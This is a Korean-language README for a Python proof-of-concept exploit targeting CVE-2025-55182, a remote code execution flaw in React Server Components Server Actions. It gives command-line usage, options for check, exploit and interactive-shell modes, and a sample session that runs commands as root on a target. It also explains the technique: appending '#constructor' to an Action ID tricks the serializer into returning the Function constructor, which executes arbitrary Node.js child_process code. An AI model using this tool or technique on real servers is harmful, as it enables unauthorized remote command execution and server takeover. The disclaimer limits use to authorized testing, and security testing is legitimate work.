
CVE-2025-55182용 Poc
CVE-2025-55182에 대한 PoC
Usage: python3 poc.py -u http://target.com --cmd "<cmd_here>"
이 도구는 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
pip install requests
이 도구는 세 가지 모드로 실행할 수 있습니다: Check, Exploit 또는 Interactive Shell.
usage: poc.py [-h] [-u URL] [--id ID] [-c CMD] [--check]
options:
-h, --help show this help message and exit
-u URL Target URL (e.g., http://localhost:3000)
--id ID Target Server Action ID (default: user-profile-action)
-c CMD, --cmd CMD Command to execute directly (non-interactive mode)
--check Only check for vulnerability (Crash Method), do not exploit
python3 poc.py -u http://target-site.com --check
python3 poc.py -u http://target-site.com --cmd "id"
python3 poc.py
# Inside the shell
RSC-Shell> set url http://localhost:3000
[+] URL set to: http://localhost:3000
RSC-Shell> check
[+] TARGET IS VULNERABLE!
RSC-Shell> shell
[*] Starting pseudo-interactive shell. Use 'exit' to return.
cmd> whoami
root
Check 모드: 인덱스 1에 {}를 정의하는 멀티파트 요청을 보내고 ["$1🅰️a"]에 접근을 시도합니다. 패치되지 않은 서버는 undefined의 속성 a에 접근하려고 시도하여 충돌(HTTP 500)이 발생합니다. 패치된 서버는 HTTP 200을 반환합니다.
Exploit 모드: 유효한 Action ID를 참조하지만 #constructor를 추가하는 멀티파트 요청을 보냅니다. 이는 직렬 변환기를 속여 Function 생성자를 반환하게 하여, 서버에서 실행할 임의의 JavaScript(Node.js child_process)를 전달할 수 있게 합니다.